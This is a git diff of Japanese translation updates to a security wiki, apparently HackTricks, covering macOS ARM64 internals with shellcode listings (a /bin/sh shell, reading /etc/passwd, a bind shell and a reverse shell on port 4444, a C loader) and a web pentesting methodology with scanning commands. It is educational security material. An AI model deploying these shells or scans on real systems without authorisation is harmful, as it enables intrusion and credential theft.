> 時には、**`libsystem_kernel.dylib`** の **decompiled** コードを確認する方が、**than** **source code** を確認するより簡単なことがあります。なぜなら、いくつかの syscalls(BSD と Mach)はスクリプトで生成されており(ソースコード内のコメントを確認してください)、dylib には実際に何が呼ばれているかがわかるからです。
|
||||
|
||||
### machdep コール
|
||||
### machdep calls
|
||||
|
||||
XNU はマシン依存の別のタイプのコールをサポートしています。これらのコールの数はアーキテクチャによって異なり、コールや数が一定であることは保証されていません。
|
||||
XNU は machine dependent と呼ばれる別の種類の呼び出しをサポートしています。これらの呼び出しの番号はアーキテクチャに依存し、呼び出し名や番号が恒久的に一定であるとは保証されません。
|
||||
|
||||
### comm ページ
|
||||
### comm page
|
||||
|
||||
これはカーネル所有のメモリページで、すべてのユーザープロセスのアドレス空間にマッピングされています。これは、ユーザーモードからカーネル空間への遷移を、カーネルサービスのためのシステムコールを使用するよりも速くすることを目的としています。この遷移は非常に非効率的になるためです。
|
||||
これはカーネル所有のメモリページで、すべてのユーザープロセスのアドレス空間にマップされます。syscall を使うと非効率になってしまうほど頻繁に使われるカーネルサービスについて、ユーザーモードからカーネル空間への遷移を高速化することを目的としています。
|
||||
|
||||
例えば、`gettimeofdate` コールは、comm ページから直接 `timeval` の値を読み取ります。
|
||||
例えば、`gettimeofdate` は comm page から直接 `timeval` の値を読み取ります。
|
||||
|
||||
### objc_msgSend
|
||||
|
||||
この関数は Objective-C または Swift プログラムで非常に一般的に見られます。この関数は、Objective-C オブジェクトのメソッドを呼び出すことを可能にします。
|
||||
Objective-C や Swift のプログラムでこの関数が使われているのを見かけるのは非常に一般的です。この関数は Objective-C オブジェクトのメソッドを呼び出すことを可能にします。
|
||||
|
||||
パラメータ([ドキュメントの詳細](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
パラメータ ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
|
||||
- x0: self -> インスタンスへのポインタ
|
||||
- x1: op -> メソッドのセレクタ
|
||||
- x2... -> 呼び出されたメソッドの残りの引数
|
||||
- x2... -> 呼び出されるメソッドの残りの引数
|
||||
|
||||
したがって、この関数への分岐の前にブレークポイントを置くと、lldb で何が呼び出されているかを簡単に見つけることができます(この例では、オブジェクトがコマンドを実行する `NSConcreteTask` からオブジェクトを呼び出します):
|
||||
したがって、この関数への分岐の直前にブレークポイントを置くと、lldb で何が呼び出されているかを簡単に特定できます(この例ではオブジェクトがコマンドを実行する `NSConcreteTask` のオブジェクトを呼び出しています):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
@ -369,31 +370,31 @@ whoami
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
> 環境変数 **`NSObjCMessageLoggingEnabled=1`** を設定すると、この関数が呼び出されたときに `/tmp/msgSends-pid` のようなファイルにログを記録できます。
|
||||
> 環境変数 **`NSObjCMessageLoggingEnabled=1`** を設定すると、この関数が呼ばれたときに `/tmp/msgSends-pid` のようなファイルに**log**を記録できます。
|
||||
>
|
||||
> さらに、**`OBJC_HELP=1`** を設定し、任意のバイナリを呼び出すことで、特定のObjc-Cアクションが発生したときに **log** するために使用できる他の環境変数を見ることができます。
|
||||
> さらに、**`OBJC_HELP=1`** を設定して任意のバイナリを実行すると、特定の Objc-C アクションが発生したときに**log**するために使える他の環境変数を確認できます。
|
||||
|
||||
この関数が呼び出されると、指定されたインスタンスの呼び出されたメソッドを見つける必要があります。そのために、さまざまな検索が行われます:
|
||||
この関数が呼ばれたとき、指定されたインスタンスで呼び出されたメソッドを見つける必要があり、そのために以下のような検索が行われます:
|
||||
|
||||
- 楽観的キャッシュ検索を実行:
|
||||
- 成功した場合、完了
|
||||
- runtimeLockを取得(読み取り)
|
||||
- If (realize && !cls->realized) クラスを実現
|
||||
- If (initialize && !cls->initialized) クラスを初期化
|
||||
- クラス自身のキャッシュを試す:
|
||||
- 成功した場合、完了
|
||||
- クラスメソッドリストを試す:
|
||||
- 見つかった場合、キャッシュを埋めて完了
|
||||
- スーパークラスキャッシュを試す:
|
||||
- 成功した場合、完了
|
||||
- スーパークラスメソッドリストを試す:
|
||||
- 見つかった場合、キャッシュを埋めて完了
|
||||
- If (resolver) メソッドリゾルバを試し、クラス検索から繰り返す
|
||||
- まだここにいる場合(= 他のすべてが失敗した場合)フォワーダーを試す
|
||||
- optimistic cache lookup を試行する:
|
||||
- 成功したら完了
|
||||
- runtimeLock (read) を取得する
|
||||
- If (realize && !cls->realized) realize class
|
||||
- If (initialize && !cls->initialized) initialize class
|
||||
- クラス自身のキャッシュを試す:
|
||||
- 成功したら完了
|
||||
- クラスの method list を試す:
|
||||
- 見つかったら cache を埋めて完了
|
||||
- スーパークラスの cache を試す:
|
||||
- 成功したら完了
|
||||
- スーパークラスの method list を試す:
|
||||
- 見つかったら cache を埋めて完了
|
||||
- If (resolver) try method resolver, and repeat from class lookup
|
||||
- それでも見つからない場合(= 他がすべて失敗した場合)は forwarder を試す
|
||||
|
||||
### Shellcodes
|
||||
|
||||
コンパイルするには:
|
||||
To compile:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
@ -408,7 +409,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
新しいmacOSの場合:
|
||||
新しい macOS の場合:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
@ -417,7 +418,7 @@ done
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>シェルコードをテストするためのCコード</summary>
|
||||
<summary>shellcodeをテストするCコード</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
@ -465,12 +466,12 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
#### シェル
|
||||
#### Shell
|
||||
|
||||
[**こちら**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)から取得し、説明されています。
|
||||
[**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) から取得し、解説します。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="adrを使用"}}
|
||||
{{#tab name="with adr"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
@ -537,9 +538,9 @@ sh_path: .asciz "/bin/sh"
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
#### catで読む
|
||||
#### Read with cat
|
||||
|
||||
目的は `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` を実行することであり、第二引数(x1)はパラメータの配列です(これはメモリ内ではアドレスのスタックを意味します)。
|
||||
目的は `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` を実行することで、したがって第2引数 (x1) は params の配列で、メモリ上ではアドレスの stack になります。
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -565,7 +566,7 @@ cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### フォークからshでコマンドを呼び出すことで、メインプロセスが終了しないようにする
|
||||
#### fork から sh でコマンドを実行し、メインプロセスが殺されないようにする
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -609,9 +610,9 @@ sh_c_option: .asciz "-c"
|
||||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### バインドシェル
|
||||
#### Bind shell
|
||||
|
||||
**ポート 4444** での [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) からのバインドシェル
|
||||
Bind shell は [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) からのもので、**port 4444** で動作します。
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
@ -693,9 +694,9 @@ mov x2, xzr
|
||||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### リバースシェル
|
||||
#### Reverse shell
|
||||
|
||||
From [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444**
|
||||
[https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s) から revshell を **127.0.0.1:4444** に
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 80,443 - Pentesting Web メソドロジー
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
Webサービスは最も**一般的で広範なサービス**であり、**さまざまな種類の脆弱性**が多数存在します。
|
||||
Webサービスは最も**一般的かつ広範なサービス**であり、**さまざまな種類の脆弱性**が多数存在します。
|
||||
|
||||
**デフォルトポート:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## 方法論の要約
|
||||
## Methodology summary
|
||||
|
||||
> この方法論では、1つのドメイン(またはサブドメイン)だけを攻撃対象とすることを想定します。したがって、スコープ内で発見した各ドメイン、サブドメイン、または未特定のウェブサーバーを持つIPごとにこの方法論を適用してください。
|
||||
> この手法では、ドメイン(またはサブドメイン)1つだけを攻撃対象とすることを想定します。したがって、スコープ内で発見した各ドメイン、サブドメイン、または未確定の web server を持つ IP ごとにこの手法を適用してください。
|
||||
|
||||
- [ ] まず、ウェブサーバーで使用されている**technologies**を**identifying**します。技術が特定できたら、以降のテストで念頭に置くべき**tricks**を探してください。
|
||||
- [ ] 使用している技術のバージョンに**known vulnerability**はないか?
|
||||
- [ ] よく知られた**tech**を使用しているか? 追加で情報を引き出すための**useful trick**はあるか?
|
||||
- [ ] wpscan のような**specialised scanner**を実行すべきか?
|
||||
- [ ] 汎用のスキャナを実行する。何か見つかるか、興味深い情報が得られるかもしれない。
|
||||
- [ ] **initial checks**から開始:**robots**, **sitemap**, **404 error** および **SSL/TLS scan**(HTTPS の場合)。
|
||||
- [ ] ウェブページの**spidering**を開始:利用されている可能性のあるすべての**files, folders**と**parameters**を見つける時です。特別な所見もチェックしてください。
|
||||
- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見された場合は、その都度spideringするべきです。_
|
||||
- [ ] **Directory Brute-Forcing**:発見したフォルダをすべてbrute forceして、新しい**files**や**directories**を探す。
|
||||
- [ ] _brute-forcingやspidering中に新しいディレクトリが発見された場合は、それを必ずBrute-Forcedするべきです。_
|
||||
- [ ] **Backups checking**:発見したファイルのバックアップを、一般的なバックアップ拡張子を付けて見つけられるかテストする。
|
||||
- [ ] **Brute-Force parameters**:隠しパラメータを見つけるために試す。
|
||||
- [ ] すべてのユーザー入力を受け付ける可能性のある**endpoints**を特定したら、それらに関連するあらゆる種類の脆弱性をチェックする。
|
||||
- [ ] まずは **識別** して、web server が使用している **technologies** を把握します。技術が特定できれば、テスト中に役立つ **tricks** を探してください。
|
||||
- [ ] その技術のバージョンに対する **既知の脆弱性** はありますか?
|
||||
- [ ] 既知の **well known tech** を使っていますか?追加情報を引き出すための **useful trick** はありますか?
|
||||
- [ ] 実行すべき **specialised scanner**(例: wpscan)はありますか?
|
||||
- [ ] **general purposes scanners** を起動します。何か見つかるか、興味深い情報が出るかもしれません。
|
||||
- [ ] **initial checks** から始めます: **robots**, **sitemap**, **404** エラー、そして **SSL/TLS scan**(HTTPS の場合)。
|
||||
- [ ] Webページの **spidering** を開始します: すべての可能な **files, folders** と使用されている **parameters** を**発見**する時です。**special findings** も確認してください。
|
||||
- [ ] _注: brute-forcing または spidering 中に新しいディレクトリが発見された場合は、そのディレクトリも必ず spider してください。_
|
||||
- [ ] **Directory Brute-Forcing**: 発見したフォルダ全てを brute force して、新しい **files** や **directories** を探します。
|
||||
- [ ] _注: brute-forcing または spidering 中に新しいディレクトリが発見された場合は、そのディレクトリを必ず Brute-Force してください。_
|
||||
- [ ] **Backups checking**: 一般的なバックアップ拡張子を付けて、発見した **files** の **backups** を見つけられるか試します。
|
||||
- [ ] **Brute-Force parameters**: 隠されたパラメータを **find** してください。
|
||||
- [ ] すべてのユーザ入力を受け付ける可能性のある **endpoints** を**識別**したら、それらに関連するあらゆる種類の **vulnerabilities** をチェックします。
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
|
||||
### Identify
|
||||
|
||||
稼働中のサーバーのバージョンに既知の脆弱性があるか確認してください。\
|
||||
The **HTTP headers and cookies of the response** は、使用されている技術やバージョンを識別するのに非常に有用です。**Nmap scan** はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Check if there are **known vulnerabilities** for the server **version** that is running.\
|
||||
The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
検索 **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
Search: [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **WAFが存在するか確認する**
|
||||
### **WAFがあるか確認**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Web技術のトリック
|
||||
### Web 技術のトリック
|
||||
|
||||
利用されているさまざまなよく知られた**技術**で**脆弱性を見つけるための**いくつかの**トリック**:
|
||||
使用されているさまざまな有名な技術でvulnerabilitiesを見つけるためのいくつかのtricks:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -102,18 +102,25 @@ webanalyze -host https://google.com -crawl 2
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
|
||||
もしウェブアプリケーションが前述のよく知られた**tech/platform listed before**やその他の技術を使用している場合は、インターネットで新しいトリックを検索することを忘れないでください(そして知らせてください!)。
|
||||
同じドメインでも、異なるポート、フォルダ、サブドメインで異なる技術が使用されている可能性があることに注意してください。\
|
||||
もしwebアプリケーションが前述のようなよく知られたtech/platformまたはその他のものを使用している場合、新しいtricksをインターネットで検索することを忘れないでください(そして教えてください!)。
|
||||
|
||||
### ソースコードレビュー
|
||||
|
||||
アプリケーションの**ソースコード**が**github**で入手可能な場合、アプリケーションの**White box**テストを自分で実施することに加えて、現在の**Black-Box**テストに**有用**な**いくつかの情報**が得られる可能性があります:
|
||||
アプリケーションの**source code**が**github**で入手可能な場合、自身でWhite box testを行うことに加えて、現在のBlack-Box testingに有用な情報がいくつかあります:
|
||||
|
||||
- Web上でアクセス可能な**Change-log or Readme or Version**ファイル、または**バージョン情報**はありますか?
|
||||
- **credentials** はどのように、どこに保存されていますか?(アクセス可能な)**file** にユーザー名やパスワードが含まれていますか?
|
||||
- **passwords** は**plain text**ですか、**encrypted**ですか、またはどの**hashing algorithm**が使われていますか?
|
||||
- 何かを暗号化するための**master key**を使用していますか?どの**algorithm**が使われていますか?
|
||||
- 何らかの脆弱性を悪用してこれらのファイルのいずれかに**アクセスできますか**?
|
||||
- **github** の(解決済み・未解決の)**issues**に興味深い情報がありますか?または**commit history**(古いコミットに**password**が含まれている可能性)に注目すべきものはありますか?
|
||||
- Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web?
|
||||
- ウェブ経由でアクセス可能な**Change-log**、**Readme**、**Version** ファイルや**version info**はありますか?
|
||||
- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)?
|
||||
- **credentials**はどのように、どこに保存されていますか?credentials(usernamesやpasswords)が書かれた(アクセス可能な)**file**はありますか?
|
||||
- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used?
|
||||
- **passwords**は**plain text**ですか、それとも**encrypted**されていますか?あるいはどの**hashing algorithm**が使われていますか?
|
||||
- Is it using any **master key** for encrypting something? Which **algorithm** is used?
|
||||
- 何かを暗号化するための**master key**を使用していますか?どの**algorithm**が使われていますか?
|
||||
- Can you **access any of these files** exploiting some vulnerability?
|
||||
- 何らかのvulnerabilityを悪用して、これらのファイルのいずれかに**access**できますか?
|
||||
- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
|
||||
- githubの**issues**(解決済み・未解決)に興味深い情報はありますか?または**commit history**(古いcommitにpasswordが含まれている可能性)に何かありますか?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -135,12 +142,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
```
|
||||
#### CMS スキャナー
|
||||
|
||||
CMS が使用されている場合は **run a scanner** を忘れないでください。思わぬ有用な情報が見つかるかもしれません:
|
||||
CMS を使用している場合は、必ず**スキャナーを実行**してください。思わぬ有益な発見があるかもしれません:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** のウェブサイトのセキュリティ問題をチェックします。 (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
@ -148,45 +155,45 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> この時点で、クライアントが使用しているウェブサーバ(もしデータが与えられていれば)に関するいくつかの情報と、テスト中に覚えておくべきトリックを既に持っているはずです。運が良ければ CMS を見つけてスキャナを実行しているかもしれません。
|
||||
> この時点で、クライアントが使用しているウェブサーバーに関するいくつかの情報(もし提供されていれば)や、テスト中に覚えておくべきいくつかのコツを既に持っているはずです。運が良ければ、CMS を見つけて scanner を実行しているかもしれません。
|
||||
|
||||
## ステップバイステップの Web アプリケーション探索
|
||||
## Step-by-step Web Application Discovery
|
||||
|
||||
> ここからは Web アプリケーションとの対話を開始します。
|
||||
> この時点から Web アプリケーションと対話を開始します。
|
||||
|
||||
### 初期チェック
|
||||
### Initial checks
|
||||
|
||||
**興味深い情報を含むデフォルトページ:**
|
||||
**Default pages with interesting info:**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- メインおよびサブページのコメントも確認すること。
|
||||
- Check also comments in the main and secondary pages.
|
||||
|
||||
**エラーの強制発生**
|
||||
**Forcing errors**
|
||||
|
||||
不正なデータが送られると、Web サーバは**予期しない動作**をすることがあり、これが**脆弱性**や**機密情報の漏えい**につながる可能性があります。
|
||||
ウェブサーバーは、奇妙なデータが送られると**予期せぬ挙動**をすることがあります。これにより**脆弱性**が発生したり、**機密情報の漏えい**につながることがあります。
|
||||
|
||||
- **fake pages**(例: /whatever_fake.php、.aspx、.html、など)にアクセスする
|
||||
- **cookie values** や **parameter** の値に "\[]", "]]", "\[\[" を追加してエラーを発生させる
|
||||
- **URL** の **末尾** に **`/~randomthing/%s`** を入れてエラーを生成する
|
||||
- PATCH、DEBUG や FAKE のような誤ったものも含め、**different HTTP Verbs** を試す
|
||||
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
|
||||
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
|
||||
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
|
||||
|
||||
#### **ファイルをアップロードできるか確認する (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
もし **WebDav** が **enabled** でルートフォルダにファイルを **uploading files** する十分な権限がない場合は、次を試してください:
|
||||
If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
|
||||
|
||||
- **Brute Force** でクレデンシャルを総当たりする
|
||||
- WebDav を介してウェブページ内で見つかった他のフォルダ(root 以外)に **Upload files** する。別のフォルダにはアップロード権限がある可能性があります。
|
||||
- **Brute Force** credentials
|
||||
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
|
||||
|
||||
### **SSL/TLS の脆弱性**
|
||||
### **SSL/TLS 脆弱性**
|
||||
|
||||
- アプリケーションがどの部分でも **HTTPS の使用を強制していない** 場合、**MitM に対して脆弱**です
|
||||
- アプリケーションが **HTTP を使って機密データ(パスワード)を送信している** 場合、それは重大な脆弱性です
|
||||
- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM**
|
||||
- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability.
|
||||
|
||||
脆弱性をチェックするには [**testssl.sh**](https://github.com/drwetter/testssl.sh) を使用してください(Bug Bounty プログラムではこれらの種類の脆弱性は受け入れられないことが多い)。脆弱性を再確認するには [**a2sv**](https://github.com/hahwul/a2sv) を使用してください:
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -195,60 +202,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
SSL/TLS の脆弱性に関する情報:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
ウェブ内に何らかの **spider** を起動します。spider の目的は、テスト対象のアプリケーションから可能な限り多くのパスを **見つけること** です。したがって、web crawling と外部ソースを利用して、可能な限り多くの有効なパスを見つけるべきです。
|
||||
ウェブ内で何らかの **spider** を起動します。spider の目的は、テスト対象アプリケーションから可能な限り多くのパスを見つけることです。したがって、Web クローリングや外部ソースを利用して、できるだけ多くの有効なパスを見つけるべきです。
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider、JS ファイル内の LinkFinder と外部ソース (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)。
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider、JS ファイル用の LinkFider と Archive.org を外部ソースとして使用。
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider、"juicy files" も表示。
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 対話式 CLI HTML spider。Archive.org でも検索。
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールは spider ではありませんが有用です。hosts のファイルと paths のファイルを指定すると、各ホスト上の各パスを取得してレスポンスを保存します。
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS レンダリング機能を持つ HTML spider。ただし、メンテナンスされていないようで、事前コンパイル版は古く、現在のコードはコンパイルできません。
|
||||
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ(wayback, otx, commoncrawl) を利用する HTML spider。
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): パラメータ付き URL を見つけて一覧化するスクリプト。
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS レンダリング機能を持つ HTML spider。
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider、JS 美化機能付きで JS ファイル内の新しいパスを検索可能。LinkFinder のラッパーである [JSScanner](https://github.com/dark-warlord14/JSScanner) も見る価値あり。
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML ソースと埋め込み javascript ファイルの両方からエンドポイントを抽出。bug hunters、red teamers、infosec ninjas に有用。
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado と JSBeautifier を使用して JavaScript ファイルから相対 URL を解析する python 2.7 スクリプト。AJAX リクエストの発見に便利。メンテされていない可能性あり。
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 与えられたファイル(HTML)から正規表現を使って相対 URL を抽出。ミニファイされたファイルから相対 URL を取り出すのに便利。
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 複数ツールを使って JS ファイルから興味深い情報を収集。
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): JS ファイルを検出。
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): headless browser でページを読み込み、ページ読み込み時にロードされるすべての URL を出力。
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 先に挙げたツールのいくつかのオプションを組み合わせた content discovery ツール。
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML スパイダー。JS ファイル内の LinkFinder 機能と外部ソース (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com) を利用します。
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML スパイダー。JS ファイル用の LinkFinder と Archive.org を外部ソースとして利用します。
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML スパイダーで、"juicy files" を示してくれます。
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 対話式 CLI の HTML スパイダー。Archive.org も検索します。
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが便利です。hosts のファイルと paths のファイルを指定すると、各ホストの各パスを取得してレスポンスを保存します。
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS レンダリング機能を備えた HTML スパイダー。ただしメンテナンスされていないようで、事前コンパイル版は古く、現在のコードはコンパイルできません。
|
||||
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ (wayback, otx, commoncrawl) を利用する HTML スパイダーです。
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): パラメータ付き URL を見つけて一覧化します。
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS レンダリング機能を持つ HTML スパイダーです。
|
||||
